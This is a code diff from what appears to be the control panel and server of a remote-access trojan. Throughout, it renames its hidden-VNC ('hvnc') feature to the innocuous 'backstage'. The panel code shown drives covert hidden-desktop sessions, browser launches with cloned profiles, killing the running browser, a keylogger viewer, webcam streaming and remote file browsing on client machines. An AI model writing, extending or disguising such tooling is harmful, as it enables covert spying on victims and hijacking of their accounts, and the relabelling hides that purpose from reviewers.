class="w-full bg-slate-800 border border-slate-700 rounded px-3 py-2 text-sm text-slate-100 mb-3 focus:outline-none focus:border-violet-500" />
|
||||
<label class="flex items-center gap-2 text-xs text-slate-400 mb-4 cursor-pointer select-none">
|
||||
<input id="hvncCustomExeOperaPatch" type="checkbox"
|
||||
<input id="backstageCustomExeOperaPatch" type="checkbox"
|
||||
class="accent-violet-500 w-3.5 h-3.5 rounded" />
|
||||
Apply Opera patch (stub GetCursorInfo)
|
||||
</label>
|
||||
<div class="flex justify-end gap-2">
|
||||
<button id="hvncCustomExeCancel" class="button ghost text-sm">Cancel</button>
|
||||
<button id="hvncCustomExeRun" class="button primary text-sm">Run</button>
|
||||
<button id="backstageCustomExeCancel" class="button ghost text-sm">Cancel</button>
|
||||
<button id="backstageCustomExeRun" class="button primary text-sm">Run</button>
|
||||
</div>
|
||||
</div>`;
|
||||
document.body.appendChild(overlay);
|
||||
const pathInput = document.getElementById("hvncCustomExePath");
|
||||
const argsInput = document.getElementById("hvncCustomExeArgs");
|
||||
const pathInput = document.getElementById("backstageCustomExePath");
|
||||
const argsInput = document.getElementById("backstageCustomExeArgs");
|
||||
pathInput.focus();
|
||||
function close() { overlay.remove(); }
|
||||
document.getElementById("hvncCustomExeCancel").addEventListener("click", close);
|
||||
document.getElementById("backstageCustomExeCancel").addEventListener("click", close);
|
||||
overlay.addEventListener("click", (e) => { if (e.target === overlay) close(); });
|
||||
function run() {
|
||||
const exePath = pathInput.value.trim();
|
||||
if (!exePath) return;
|
||||
const args = argsInput.value.trim();
|
||||
const cmd = args ? `"${exePath}" ${args}` : `"${exePath}"`;
|
||||
const operaPatch = document.getElementById("hvncCustomExeOperaPatch").checked;
|
||||
sendCmd("hvnc_start_process", { path: cmd, opera_patch: operaPatch });
|
||||
const operaPatch = document.getElementById("backstageCustomExeOperaPatch").checked;
|
||||
sendCmd("backstage_start_process", { path: cmd, opera_patch: operaPatch });
|
||||
close();
|
||||
}
|
||||
document.getElementById("hvncCustomExeRun").addEventListener("click", run);
|
||||
document.getElementById("backstageCustomExeRun").addEventListener("click", run);
|
||||
pathInput.addEventListener("keydown", (e) => { if (e.key === "Enter") { e.preventDefault(); argsInput.focus(); } });
|
||||
argsInput.addEventListener("keydown", (e) => { if (e.key === "Enter") { e.preventDefault(); run(); } });
|
||||
}
|
||||
@@ -1763,46 +1763,46 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s
|
||||
function showLookupExeModal() {
|
||||
if (activeLookupOverlay) activeLookupOverlay.remove();
|
||||
const overlay = document.createElement("div");
|
||||
overlay.id = "hvncLookupExeOverlay";
|
||||
overlay.id = "backstageLookupExeOverlay";
|
||||
overlay.className = "fixed inset-0 z-[100] flex items-center justify-center bg-black/60";
|
||||
overlay.innerHTML = `
|
||||
<div class="bg-slate-900 border border-slate-700 rounded-xl p-5 w-[480px] shadow-2xl flex flex-col" style="max-height:80vh">
|
||||
<div class="text-sm font-semibold text-slate-100 mb-3">Lookup Executable</div>
|
||||
<label class="block text-xs text-slate-400 mb-1">Exe filename (e.g. notepad.exe)</label>
|
||||
<div class="flex gap-2 mb-3">
|
||||
<input id="hvncLookupExeName" type="text" placeholder="notepad.exe"
|
||||
<input id="backstageLookupExeName" type="text" placeholder="notepad.exe"
|
||||
class="flex-1 bg-slate-800 border border-slate-700 rounded px-3 py-2 text-sm text-slate-100 focus:outline-none focus:border-violet-500" />
|
||||
<button id="hvncLookupBtn" class="button primary text-sm px-4">
|
||||
<button id="backstageLookupBtn" class="button primary text-sm px-4">
|
||||
<i class="fa-solid fa-magnifying-glass mr-1"></i>Lookup
|
||||
</button>
|
||||
</div>
|
||||
<div id="hvncLookupStatus" class="text-xs text-slate-500 mb-2 hidden">
|
||||
<div id="backstageLookupStatus" class="text-xs text-slate-500 mb-2 hidden">
|
||||
<i class="fa-solid fa-spinner fa-spin mr-1"></i>Searching…
|
||||
</div>
|
||||
<div id="hvncLookupResults" class="flex-1 overflow-y-auto min-h-[60px] max-h-[400px] bg-slate-950 border border-slate-800 rounded p-2">
|
||||
<div id="backstageLookupResults" class="flex-1 overflow-y-auto min-h-[60px] max-h-[400px] bg-slate-950 border border-slate-800 rounded p-2">
|
||||
<div class="text-xs text-slate-600 text-center py-4">Results will appear here</div>
|
||||
</div>
|
||||
<div class="flex items-center mt-3">
|
||||
<label class="flex items-center gap-2 cursor-pointer select-none">
|
||||
<input type="checkbox" id="hvncLookupKill" class="accent-red-500 w-4 h-4 rounded" />
|
||||
<input type="checkbox" id="backstageLookupKill" class="accent-red-500 w-4 h-4 rounded" />
|
||||
<span class="text-xs text-slate-300">Kill before starting</span>
|
||||
</label>
|
||||
<div class="ml-auto">
|
||||
<button id="hvncLookupClose" class="button ghost text-sm">Close</button>
|
||||
<button id="backstageLookupClose" class="button ghost text-sm">Close</button>
|
||||
</div>
|
||||
</div>
|
||||
</div>`;
|
||||
document.body.appendChild(overlay);
|
||||
activeLookupOverlay = overlay;
|
||||
|
||||
const nameInput = document.getElementById("hvncLookupExeName");
|
||||
const lookupBtn = document.getElementById("hvncLookupBtn");
|
||||
const statusEl = document.getElementById("hvncLookupStatus");
|
||||
const resultsEl = document.getElementById("hvncLookupResults");
|
||||
const nameInput = document.getElementById("backstageLookupExeName");
|
||||
const lookupBtn = document.getElementById("backstageLookupBtn");
|
||||
const statusEl = document.getElementById("backstageLookupStatus");
|
||||
const resultsEl = document.getElementById("backstageLookupResults");
|
||||
nameInput.focus();
|
||||
|
||||
function close() { overlay.remove(); activeLookupOverlay = null; }
|
||||
document.getElementById("hvncLookupClose").addEventListener("click", close);
|
||||
document.getElementById("backstageLookupClose").addEventListener("click", close);
|
||||
overlay.addEventListener("click", (e) => { if (e.target === overlay) close(); });
|
||||
|
||||
function startLookup() {
|
||||
@@ -1812,7 +1812,7 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s
|
||||
statusEl.classList.remove("hidden");
|
||||
lookupBtn.disabled = true;
|
||||
lookupBtn.classList.add("opacity-50");
|
||||
sendCmd("hvnc_lookup", { exe });
|
||||
sendCmd("backstage_lookup", { exe });
|
||||
}
|
||||
|
||||
lookupBtn.addEventListener("click", startLookup);
|
||||
@@ -1822,9 +1822,9 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s
|
||||
function handleLookupResult(msg) {
|
||||
const overlay = activeLookupOverlay;
|
||||
if (!overlay) return;
|
||||
const statusEl = document.getElementById("hvncLookupStatus");
|
||||
const resultsEl = document.getElementById("hvncLookupResults");
|
||||
const lookupBtn = document.getElementById("hvncLookupBtn");
|
||||
const statusEl = document.getElementById("backstageLookupStatus");
|
||||
const resultsEl = document.getElementById("backstageLookupResults");
|
||||
const lookupBtn = document.getElementById("backstageLookupBtn");
|
||||
if (!resultsEl) return;
|
||||
|
||||
if (msg.done) {
|
||||
@@ -1852,11 +1852,11 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s
|
||||
item.dataset.lookupPath = msg.path;
|
||||
item.className = "w-full text-left px-2 py-1.5 rounded text-xs text-slate-200 hover:bg-violet-600/30 hover:text-violet-100 transition-colors font-mono truncate block";
|
||||
item.textContent = msg.path;
|
||||
item.title = "Click to start in HVNC: " + msg.path;
|
||||
item.title = "Click to start in backstage: " + msg.path;
|
||||
item.addEventListener("click", () => {
|
||||
const killCheckbox = document.getElementById("hvncLookupKill");
|
||||
const killCheckbox = document.getElementById("backstageLookupKill");
|
||||
const killExe = killCheckbox?.checked ? msg.exe : "";
|
||||
sendCmd("hvnc_start_process", { path: '"' + msg.path + '"', kill_exe: killExe });
|
||||
sendCmd("backstage_start_process", { path: '"' + msg.path + '"', kill_exe: killExe });
|
||||
item.classList.add("text-emerald-400");
|
||||
item.innerHTML = '<i class="fa-solid fa-check mr-1"></i>' + (killExe ? '(killed) ' : '') + msg.path;
|
||||
});
|
||||
@@ -1888,7 +1888,7 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s
|
||||
function openWindowMap() {
|
||||
if (!windowMapModal) return;
|
||||
windowMapModal.style.display = "flex";
|
||||
sendCmd("hvnc_window_list", {});
|
||||
sendCmd("backstage_window_list", {});
|
||||
if (windowMapCanvas) windowMapCanvas.innerHTML = '<div class="flex items-center justify-center h-40 text-slate-500 text-sm"><i class="fa-solid fa-spinner fa-spin mr-2"></i>Loading…</div>';
|
||||
if (windowMapList) windowMapList.innerHTML = "";
|
||||
}
|
||||
@@ -1900,7 +1900,7 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s
|
||||
if (windowMapBtn) windowMapBtn.addEventListener("click", openWindowMap);
|
||||
if (windowMapCloseBtn) windowMapCloseBtn.addEventListener("click", closeWindowMap);
|
||||
if (windowMapRefreshBtn) windowMapRefreshBtn.addEventListener("click", () => {
|
||||
sendCmd("hvnc_window_list", {});
|
||||
sendCmd("backstage_window_list", {});
|
||||
if (windowMapCanvas) windowMapCanvas.innerHTML = '<div class="flex items-center justify-center h-40 text-slate-500 text-sm"><i class="fa-solid fa-spinner fa-spin mr-2"></i>Refreshing…</div>';
|
||||
if (windowMapList) windowMapList.innerHTML = "";
|
||||
});
|
||||
@@ -4,7 +4,7 @@ import { osBadge } from "./viewUtils.js";
|
||||
|
||||
const ALL_PER_CLIENT_ACTIONS = [
|
||||
{ key: "console", feature: "console", label: "Console", icon: "fa-terminal", color: "text-emerald-400", href: (id) => `/${id}/console` },
|
||||
{ key: "hvnc", feature: "hvnc", label: "HVNC", icon: "fa-desktop", color: "text-fuchsia-400", href: (id) => `/hvnc?clientId=${id}` },
|
||||
{ key: "backstage", feature: "backstage", label: "backstage", icon: "fa-desktop", color: "text-fuchsia-400", href: (id) => `/backstage?clientId=${id}` },
|
||||
{ key: "rdp", feature: "remote_desktop", label: "Remote Desktop", icon: "fa-display", color: "text-sky-400", href: (id) => `/remotedesktop?clientId=${id}` },
|
||||
{ key: "files", feature: "file_browser", label: "File Browser", icon: "fa-folder-open", color: "text-cyan-400", href: (id) => `/${id}/files` },
|
||||
{ key: "processes", feature: "processes", label: "Processes", icon: "fa-microchip", color: "text-orange-400", href: (id) => `/${id}/processes` },
|
||||
|
||||
@@ -438,8 +438,8 @@ function applyMenuSupportRules(clientId) {
|
||||
btn.title = enabled ? "" : reason;
|
||||
};
|
||||
|
||||
const hvncBtn = menu.querySelector('[data-open="Backstage"]');
|
||||
setAvailability(hvncBtn, isOnline && isWindows, isOnline ? "Backstage is only supported on Windows clients." : "Client is offline");
|
||||
const backstageBtn = menu.querySelector('[data-open="Backstage"]');
|
||||
setAvailability(backstageBtn, isOnline && isWindows, isOnline ? "Backstage is only supported on Windows clients." : "Client is offline");
|
||||
|
||||
const hiddenBtn = menu.querySelector('[data-open="Virtual"]');
|
||||
setAvailability(hiddenBtn, isOnline && isWindows, isOnline ? "Virtual mode is only supported on Windows clients." : "Client is offline");
|
||||
@@ -499,8 +499,8 @@ function applyMenuSupportRules(clientId) {
|
||||
const MENU_OPEN_TO_FEATURE = {
|
||||
console: "console",
|
||||
remotedesktop: "remote_desktop",
|
||||
Backstage: "hvnc",
|
||||
Hidden: "hvnc",
|
||||
Backstage: "backstage",
|
||||
Hidden: "backstage",
|
||||
webcam: "webcam",
|
||||
files: "file_browser",
|
||||
processes: "processes",
|
||||
@@ -2055,14 +2055,14 @@ menu.addEventListener("click", async (e) => {
|
||||
return;
|
||||
}
|
||||
if (open === "Backstage") {
|
||||
window.open(`/hvnc?clientId=${contextCard}`, "_blank", "noopener");
|
||||
window.open(`/backstage?clientId=${contextCard}`, "_blank", "noopener");
|
||||
closeMenu(clearContext);
|
||||
return;
|
||||
}
|
||||
if (open === "Virtual") {
|
||||
// mode=hidden is understood by older hvnc.js builds; current builds treat
|
||||
// mode=hidden is understood by older backstage.js builds; current builds treat
|
||||
// it as the virtual-monitor mode compatibility alias.
|
||||
window.open(`/hvnc?clientId=${contextCard}&mode=hidden`, "_blank", "noopener");
|
||||
window.open(`/backstage?clientId=${contextCard}&mode=hidden`, "_blank", "noopener");
|
||||
closeMenu(clearContext);
|
||||
return;
|
||||
}
|
||||
|
||||
@@ -423,7 +423,7 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s
|
||||
return {
|
||||
display: Number(displaySelect?.value || 0),
|
||||
streamProfile: streamProfileSelect?.value || "1080:60",
|
||||
// Keep the legacy fields so HVNC and older remote-desktop builds that
|
||||
// Keep the legacy fields so backstage and older remote-desktop builds that
|
||||
// share these preferences continue to receive equivalent settings.
|
||||
resolution: String(profile.maxHeight),
|
||||
targetFps: String(profile.fps),
|
||||
|
||||
@@ -538,7 +538,7 @@ window.configureClientAccess = async function (userId, username, role) {
|
||||
const FEATURE_LABELS = {
|
||||
console: { label: "Console", icon: "fa-terminal" },
|
||||
remote_desktop: { label: "Remote Desktop", icon: "fa-desktop" },
|
||||
hvnc: { label: "HVNC", icon: "fa-window-restore" },
|
||||
backstage: { label: "backstage", icon: "fa-window-restore" },
|
||||
webcam: { label: "Webcam", icon: "fa-video" },
|
||||
file_browser: { label: "File Browser", icon: "fa-folder-open" },
|
||||
processes: { label: "Processes", icon: "fa-microchip" },
|
||||
|
||||
@@ -114,9 +114,9 @@
|
||||
</button>
|
||||
</div>
|
||||
<div class="flex items-center gap-2">
|
||||
<label class="text-sm text-slate-300 w-20" for="hvncResolutionSelect">Resolution</label>
|
||||
<label class="text-sm text-slate-300 w-20" for="backstageResolutionSelect">Resolution</label>
|
||||
<select
|
||||
id="hvncResolutionSelect"
|
||||
id="backstageResolutionSelect"
|
||||
class="flex-1 bg-slate-800 border border-slate-700 rounded px-2 py-1 text-sm text-slate-100"
|
||||
>
|
||||
<option value="720">720p</option>
|
||||
@@ -235,21 +235,21 @@
|
||||
</div>
|
||||
</div>
|
||||
<div
|
||||
id="hvncContextMenu"
|
||||
id="backstageContextMenu"
|
||||
class="hidden fixed z-50 min-w-[220px] max-h-[80vh] overflow-y-auto rounded-lg border border-slate-700 bg-slate-900/95 text-sm text-slate-200 shadow-xl"
|
||||
>
|
||||
<!-- Options -->
|
||||
<div class="px-3 pt-2 pb-1 text-xs uppercase tracking-wide text-slate-500">Options</div>
|
||||
<label class="flex items-center gap-2 px-3 py-1.5 cursor-pointer hover:bg-slate-800/70 select-none">
|
||||
<input type="checkbox" id="hvncCloneToggle" checked class="accent-violet-500 w-4 h-4 rounded" />
|
||||
<input type="checkbox" id="backstageCloneToggle" checked class="accent-violet-500 w-4 h-4 rounded" />
|
||||
<span class="text-xs text-slate-300">Clone profile</span>
|
||||
</label>
|
||||
<label class="flex items-center gap-2 px-3 py-1.5 cursor-pointer hover:bg-slate-800/70 select-none">
|
||||
<input type="checkbox" id="hvncCloneLiteToggle" class="accent-violet-500 w-4 h-4 rounded" />
|
||||
<input type="checkbox" id="backstageCloneLiteToggle" class="accent-violet-500 w-4 h-4 rounded" />
|
||||
<span class="text-xs text-slate-300">Lite clone (no extensions)</span>
|
||||
</label>
|
||||
<label class="flex items-center gap-2 px-3 py-1.5 cursor-pointer hover:bg-slate-800/70 select-none">
|
||||
<input type="checkbox" id="hvncKillIfRunningToggle" class="accent-violet-500 w-4 h-4 rounded" />
|
||||
<input type="checkbox" id="backstageKillIfRunningToggle" class="accent-violet-500 w-4 h-4 rounded" />
|
||||
<span class="text-xs text-slate-300">Kill browser if running</span>
|
||||
</label>
|
||||
<div class="my-1 border-t border-slate-700/60"></div>
|
||||
@@ -360,15 +360,15 @@
|
||||
object-fit: contain;
|
||||
margin: auto;
|
||||
}
|
||||
#hvncContextMenu.hidden {
|
||||
#backstageContextMenu.hidden {
|
||||
display: none;
|
||||
}
|
||||
#hvncContextMenu button.browser-unavailable {
|
||||
#backstageContextMenu button.browser-unavailable {
|
||||
opacity: 0.35;
|
||||
pointer-events: none;
|
||||
cursor: default;
|
||||
}
|
||||
#hvncContextMenu button.browser-unavailable::after {
|
||||
#backstageContextMenu button.browser-unavailable::after {
|
||||
content: " (not found)";
|
||||
font-size: 0.65rem;
|
||||
color: #94a3b8;
|
||||
@@ -433,6 +433,6 @@
|
||||
<script defer src="/vendor/msgpackr/msgpackr.js"></script>
|
||||
<script defer src="/assets/remotedesktop-settings-menu.js"></script>
|
||||
<script type="module" src="/assets/nav.js"></script>
|
||||
<script type="module" src="/assets/hvnc.js"></script>
|
||||
<script type="module" src="/assets/backstage.js"></script>
|
||||
</body>
|
||||
</html>
|
||||
@@ -93,34 +93,34 @@ import {
|
||||
handleDesktopEncoderCapabilities,
|
||||
handleConsoleViewerMessage,
|
||||
handleConsoleViewerOpen,
|
||||
handleHVNCViewerMessage,
|
||||
handleHVNCViewerOpen,
|
||||
handlebackstageViewerMessage,
|
||||
handlebackstageViewerOpen,
|
||||
handleWebcamViewerMessage,
|
||||
handleWebcamViewerOpen,
|
||||
handleWebcamDevices,
|
||||
handleHVNCCloneProgress,
|
||||
handleHVNCLookupResult,
|
||||
handleHVNCBrowserCheckResult,
|
||||
handleHVNCInstalledAppsResult,
|
||||
handleHVNCDXGIStatus,
|
||||
handleHVNCBrowserLaunchStatus,
|
||||
handleHVNCWindowListResult,
|
||||
handlebackstageCloneProgress,
|
||||
handlebackstageLookupResult,
|
||||
handlebackstageBrowserCheckResult,
|
||||
handlebackstageInstalledAppsResult,
|
||||
handlebackstageDXGIStatus,
|
||||
handlebackstageBrowserLaunchStatus,
|
||||
handlebackstageWindowListResult,
|
||||
handleClipboardContent,
|
||||
handleWebrtcP2PAnswer,
|
||||
handleWebrtcP2PIce,
|
||||
cleanupRdViewerP2P,
|
||||
handleRemoteDesktopViewerMessage,
|
||||
handleRemoteDesktopViewerOpen,
|
||||
hvncStreamingState,
|
||||
backstageStreamingState,
|
||||
notifyConsoleClosed,
|
||||
notifyRdInputLatency,
|
||||
notifyRemoteDesktopStatus,
|
||||
rdStreamingState,
|
||||
webcamStreamingState,
|
||||
sendDesktopCommand,
|
||||
sendHVNCCommand,
|
||||
sendbackstageCommand,
|
||||
stopConsoleOnTarget,
|
||||
} from "./server/ws-console-rd-hvnc";
|
||||
} from "./server/ws-console-rd-backstage";
|
||||
import {
|
||||
handleFileBrowserMessage as forwardFileBrowserMessage,
|
||||
handleFileBrowserViewerMessage,
|
||||
@@ -200,7 +200,7 @@ metrics.setSnapshotEnricher((snapshot) => {
|
||||
notificationRateClients: notificationRate.size,
|
||||
pendingNotificationScreenshots: pendingNotificationScreenshots.size,
|
||||
rdStreamingClients: rdStreamingState.size,
|
||||
hvncStreamingClients: hvncStreamingState.size,
|
||||
backstageStreamingClients: backstageStreamingState.size,
|
||||
webcamStreamingClients: webcamStreamingState.size,
|
||||
},
|
||||
};
|
||||
@@ -414,7 +414,7 @@ const notificationPluginHandlers = createNotificationPluginHandlers({
|
||||
savePluginState,
|
||||
});
|
||||
|
||||
type SocketRole = ClientRole | "console_viewer" | "rd_viewer" | "webcam_viewer" | "hvnc_viewer" | "file_browser_viewer" | "process_viewer" | "keylogger_viewer" | "notifications_viewer";
|
||||
type SocketRole = ClientRole | "console_viewer" | "rd_viewer" | "webcam_viewer" | "backstage_viewer" | "file_browser_viewer" | "process_viewer" | "keylogger_viewer" | "notifications_viewer";
|
||||
|
||||
type PendingScript = {
|
||||
resolve: (result: any) => void;
|
||||
@@ -591,13 +591,13 @@ async function startServer() {
|
||||
pendingScripts,
|
||||
pendingCommandReplies,
|
||||
rdStreamingState,
|
||||
hvncStreamingState,
|
||||
backstageStreamingState,
|
||||
webcamStreamingState,
|
||||
getNotificationConfig,
|
||||
handleConsoleViewerOpen,
|
||||
handleRemoteDesktopViewerOpen,
|
||||
handleWebcamViewerOpen,
|
||||
handleHVNCViewerOpen,
|
||||
handlebackstageViewerOpen,
|
||||
handleFileBrowserViewerOpen,
|
||||
handleProcessViewerOpen,
|
||||
handleKeyloggerViewerOpen,
|
||||
@@ -620,7 +620,7 @@ async function startServer() {
|
||||
handleConsoleViewerMessage,
|
||||
handleRemoteDesktopViewerMessage,
|
||||
handleWebcamViewerMessage,
|
||||
handleHVNCViewerMessage,
|
||||
handlebackstageViewerMessage,
|
||||
handleFileBrowserViewerMessage,
|
||||
handleProcessViewerMessage,
|
||||
handleKeyloggerViewerMessage,
|
||||
@@ -674,13 +674,13 @@ async function startServer() {
|
||||
handleVoiceUplink,
|
||||
handleDesktopAudioUplink,
|
||||
handleWebcamDevices,
|
||||
handleHVNCCloneProgress,
|
||||
handleHVNCLookupResult,
|
||||
handleHVNCBrowserCheckResult,
|
||||
handleHVNCInstalledAppsResult,
|
||||
handleHVNCDXGIStatus,
|
||||
handleHVNCBrowserLaunchStatus,
|
||||
handleHVNCWindowListResult,
|
||||
handlebackstageCloneProgress,
|
||||
handlebackstageLookupResult,
|
||||
handlebackstageBrowserCheckResult,
|
||||
handlebackstageInstalledAppsResult,
|
||||
handlebackstageDXGIStatus,
|
||||
handlebackstageBrowserLaunchStatus,
|
||||
handlebackstageWindowListResult,
|
||||
handleClipboardContent,
|
||||
handleWebrtcP2PAnswer,
|
||||
handleWebrtcP2PIce,
|
||||
@@ -689,7 +689,7 @@ async function startServer() {
|
||||
cleanupDesktopAudioViewer,
|
||||
stopConsoleOnTarget,
|
||||
sendDesktopCommand,
|
||||
sendHVNCCommand,
|
||||
sendbackstageCommand,
|
||||
notifyConsoleClosed,
|
||||
clearPendingNotificationScreenshots: notificationPluginHandlers.clearPendingNotificationScreenshots,
|
||||
clearClientPluginState: notificationPluginHandlers.clearClientPluginState,
|
||||
|
||||
@@ -46,7 +46,7 @@ describe("protocol encode/decode", () => {
|
||||
monitor: 1,
|
||||
fps: 24,
|
||||
format: "h264",
|
||||
hvnc: true,
|
||||
backstage: true,
|
||||
},
|
||||
data: new Uint8Array([0, 0, 0, 1, 0x67, 0x42, 0xe0, 0x1e]),
|
||||
};
|
||||
@@ -56,7 +56,7 @@ describe("protocol encode/decode", () => {
|
||||
|
||||
expect(decoded.type).toBe("frame");
|
||||
expect(decoded.header.format).toBe("h264");
|
||||
expect(decoded.header.hvnc).toBe(true);
|
||||
expect(decoded.header.backstage).toBe(true);
|
||||
expect(decoded.header.monitor).toBe(1);
|
||||
expect(decoded.header.fps).toBe(24);
|
||||
expect(Array.from(decoded.data)).toEqual(Array.from(frame.data));
|
||||
|
||||
@@ -190,7 +190,7 @@ export type FrameHeader = {
|
||||
fps: number;
|
||||
format: "jpeg" | "webp" | "raw" | "h264";
|
||||
hash?: string;
|
||||
hvnc?: boolean;
|
||||
backstage?: boolean;
|
||||
webcam?: boolean;
|
||||
};
|
||||
|
||||
|
||||
@@ -95,7 +95,7 @@ describe("/api/auth/me featurePermissions", () => {
|
||||
expect(body.featurePermissions.webcam).toBe(false);
|
||||
expect(body.featurePermissions.file_browser).toBe(false);
|
||||
expect(body.featurePermissions.console).toBe(true);
|
||||
expect(body.featurePermissions.hvnc).toBe(true);
|
||||
expect(body.featurePermissions.backstage).toBe(true);
|
||||
} finally {
|
||||
deleteUser(auth.userId);
|
||||
}
|
||||
@@ -210,10 +210,10 @@ describe("/api/auth/feature-check", () => {
|
||||
test("both feature and client denied returns both reasons", async () => {
|
||||
const auth = await createTokenFor("operator");
|
||||
try {
|
||||
setUserFeaturePermission(auth.userId, "hvnc", false);
|
||||
setUserFeaturePermission(auth.userId, "backstage", false);
|
||||
// client_scope stays "none" => no access
|
||||
|
||||
const url = new URL("https://localhost/api/auth/feature-check?feature=hvnc&clientId=client-x");
|
||||
const url = new URL("https://localhost/api/auth/feature-check?feature=backstage&clientId=client-x");
|
||||
const res = await handleAuthRoutes(
|
||||
new Request(url, {
|
||||
method: "GET",
|
||||
|
||||
@@ -275,7 +275,7 @@ function summarizeCpuProfile(profile: any, durationMs: number) {
|
||||
|
||||
const SHARED_UI_SETTING_FEATURES: Record<string, FeatureName> = {
|
||||
remote_desktop: "remote_desktop",
|
||||
hvnc: "hvnc",
|
||||
backstage: "backstage",
|
||||
webcam: "webcam",
|
||||
};
|
||||
|
||||
@@ -332,7 +332,7 @@ function sanitizeSharedUiSettings(scope: string, raw: unknown): Record<string, u
|
||||
assignIfDefined(out, "smoothing", pickSteppedNumber(input.smoothing, 0, 80, 5));
|
||||
assignIfDefined(out, "recordMode", pickString(input.recordMode, ["normal", "compact"]));
|
||||
assignIfDefined(out, "recordFps", pickString(input.recordFps, ["", "3", "5", "10", "15", "30", "60"]));
|
||||
} else if (scope === "hvnc") {
|
||||
} else if (scope === "backstage") {
|
||||
assignIfDefined(out, "resolution", pickString(input.resolution, ["720", "1080", "1440", "-1"]));
|
||||
assignIfDefined(out, "dxgi", pickBoolean(input.dxgi));
|
||||
assignIfDefined(out, "uia", pickBoolean(input.uia));
|
||||
|
||||
@@ -103,7 +103,7 @@ const STATIC_PAGES: StaticPageDef[] = [
|
||||
const QUERY_CLIENT_PAGES: QueryClientPageDef[] = [
|
||||
{ path: "/remotedesktop", file: "remotedesktop.html" },
|
||||
{ path: "/webcam", file: "webcam.html" },
|
||||
{ path: "/hvnc", file: "hvnc.html" },
|
||||
{ path: "/backstage", file: "backstage.html" },
|
||||
{ path: "/voice", file: "voice.html" },
|
||||
{ path: "/winre", file: "winre.html" },
|
||||
];
|
||||
|
||||
@@ -24,7 +24,7 @@ export function issueWebrtcPublishToken(clientId: string): string {
|
||||
return token;
|
||||
}
|
||||
|
||||
export type WebrtcKind = "desktop" | "hvnc" | "webcam" | "audio";
|
||||
export type WebrtcKind = "desktop" | "backstage" | "webcam" | "audio";
|
||||
|
||||
export function webrtcStreamPathFor(clientId: string, kind: WebrtcKind): string {
|
||||
return `agents/${clientId}/${kind}`;
|
||||
@@ -35,7 +35,7 @@ export async function handleWebrtcRoutes(req: Request, url: URL): Promise<Respon
|
||||
|
||||
const rest = url.pathname.slice("/api/webrtc/".length);
|
||||
// /api/webrtc/agents/<clientId>/<kind>/(whip|whep)[/<sessionId>]
|
||||
const match = rest.match(/^(agents\/[A-Za-z0-9_.\-]+\/(?:desktop|hvnc|webcam|audio))\/(whip|whep)(\/[A-Za-z0-9_.\-]+)?$/);
|
||||
const match = rest.match(/^(agents\/[A-Za-z0-9_.\-]+\/(?:desktop|backstage|webcam|audio))\/(whip|whep)(\/[A-Za-z0-9_.\-]+)?$/);
|
||||
if (!match) return new Response("Not Found", { status: 404 });
|
||||
|
||||
const [, streamPath, kind, sessionSuffix] = match;
|
||||
|
||||
@@ -182,14 +182,14 @@ type WsLifecycleDeps = {
|
||||
pendingScripts: Map<string, PendingScript>;
|
||||
pendingCommandReplies: Map<string, PendingCommandReply>;
|
||||
rdStreamingState: Map<string, unknown>;
|
||||
hvncStreamingState: Map<string, unknown>;
|
||||
backstageStreamingState: Map<string, unknown>;
|
||||
webcamStreamingState: Map<string, unknown>;
|
||||
getNotificationConfig: () => { keywords?: string[]; minIntervalMs?: number; clipboardEnabled?: boolean };
|
||||
handleDashboardViewerOpen: (ws: ServerWebSocket<SocketData>) => void;
|
||||
handleConsoleViewerOpen: (ws: ServerWebSocket<SocketData>) => void;
|
||||
handleRemoteDesktopViewerOpen: (ws: ServerWebSocket<SocketData>) => void;
|
||||
handleWebcamViewerOpen: (ws: ServerWebSocket<SocketData>) => void;
|
||||
handleHVNCViewerOpen: (ws: ServerWebSocket<SocketData>) => void;
|
||||
handlebackstageViewerOpen: (ws: ServerWebSocket<SocketData>) => void;
|
||||
handleFileBrowserViewerOpen: (ws: ServerWebSocket<SocketData>) => void;
|
||||
handleProcessViewerOpen: (ws: ServerWebSocket<SocketData>) => void;
|
||||
handleKeyloggerViewerOpen: (ws: ServerWebSocket<SocketData>) => void;
|
||||
@@ -201,7 +201,7 @@ type WsLifecycleDeps = {
|
||||
handleConsoleViewerMessage: (ws: ServerWebSocket<SocketData>, raw: string | ArrayBuffer | Uint8Array) => void;
|
||||
handleRemoteDesktopViewerMessage: (ws: ServerWebSocket<SocketData>, raw: string | ArrayBuffer | Uint8Array) => void;
|
||||
handleWebcamViewerMessage: (ws: ServerWebSocket<SocketData>, raw: string | ArrayBuffer | Uint8Array) => void;
|
||||
handleHVNCViewerMessage: (ws: ServerWebSocket<SocketData>, raw: string | ArrayBuffer | Uint8Array) => void;
|
||||
handlebackstageViewerMessage: (ws: ServerWebSocket<SocketData>, raw: string | ArrayBuffer | Uint8Array) => void;
|
||||
handleFileBrowserViewerMessage: (ws: ServerWebSocket<SocketData>, raw: string | ArrayBuffer | Uint8Array) => void;
|
||||
handleProcessViewerMessage: (ws: ServerWebSocket<SocketData>, raw: string | ArrayBuffer | Uint8Array) => void;
|
||||
handleKeyloggerViewerMessage: (ws: ServerWebSocket<SocketData>, raw: string | ArrayBuffer | Uint8Array) => void;
|
||||
@@ -236,13 +236,13 @@ type WsLifecycleDeps = {
|
||||
handleVoiceUplink: (clientId: string, payload: any) => void;
|
||||
handleDesktopAudioUplink: (clientId: string, payload: any) => void;
|
||||
handleWebcamDevices: (clientId: string, payload: any) => void;
|
||||
handleHVNCCloneProgress: (clientId: string, payload: any) => void;
|
||||
handleHVNCLookupResult: (clientId: string, payload: any) => void;
|
||||
handleHVNCBrowserCheckResult: (clientId: string, payload: any) => void;
|
||||
handleHVNCInstalledAppsResult: (clientId: string, payload: any) => void;
|
||||
handleHVNCDXGIStatus: (clientId: string, payload: any) => void;
|
||||
handleHVNCBrowserLaunchStatus: (clientId: string, payload: any) => void;
|
||||
handleHVNCWindowListResult: (clientId: string, payload: any) => void;
|
||||
handlebackstageCloneProgress: (clientId: string, payload: any) => void;
|
||||
handlebackstageLookupResult: (clientId: string, payload: any) => void;
|
||||
handlebackstageBrowserCheckResult: (clientId: string, payload: any) => void;
|
||||
handlebackstageInstalledAppsResult: (clientId: string, payload: any) => void;
|
